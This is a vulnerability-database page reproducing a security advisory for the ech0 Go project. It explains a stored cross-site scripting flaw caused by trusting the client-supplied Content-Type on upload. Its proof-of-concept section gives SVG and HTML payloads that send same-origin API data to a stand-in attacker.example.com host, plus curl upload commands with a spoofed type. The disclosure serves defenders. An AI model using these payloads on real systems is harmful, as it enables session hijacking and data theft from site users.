🛡️ GHSA-69hx-63pv-f8f4 — ech0

⚪ Unknown ✅ No Known Exploit CWE-434 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload ## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header: ```go contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) } ``` `isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation: ```go func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false } ``` The original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`: ```go ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename))) ``` All locally stored files are served publicly without authentication at `internal/router/modules.go:51`: ```go ctx.Engine.Static("api/files", root) ``` This `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`. No `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`). **Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/.svg` and JavaScript within them executes in the application's origin. **Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/.html` as `text/html`. ## PoC **Variant 1 — SVG XSS (simplest, default config):** ```bash # 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer ' \ -F '[email protected];type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/__.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/__.svg ``` **Variant 2 — Content-Type bypass with HTML:** ```bash # 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' document.write('

XSS in ' + document.domain + '

'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer ' \ -F '[email protected];type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/__.html ``` ## Impact - **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly. - **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens. - **Persistent backdoor**: The malicious file r

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

GHSA-69hx-63pv-f8f4 is classified as CWE-434: Unrestricted Upload of File with Dangerous Type. Uploads are accepted without restricting type, so an executable file can be placed where the server will run it.

Affected software

GHSA-69hx-63pv-f8f4 is recorded against 1 package.

  • github.com/lin-snow/ech0

Timeline and source

Published on 10 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
CWE CWE-434
Public Exploit ✅ No
Source OSV
Published 2026-04-10
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/lin-snow/ech0

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-69hx-63pv-f8f4?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-69hx-63pv-f8f4 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated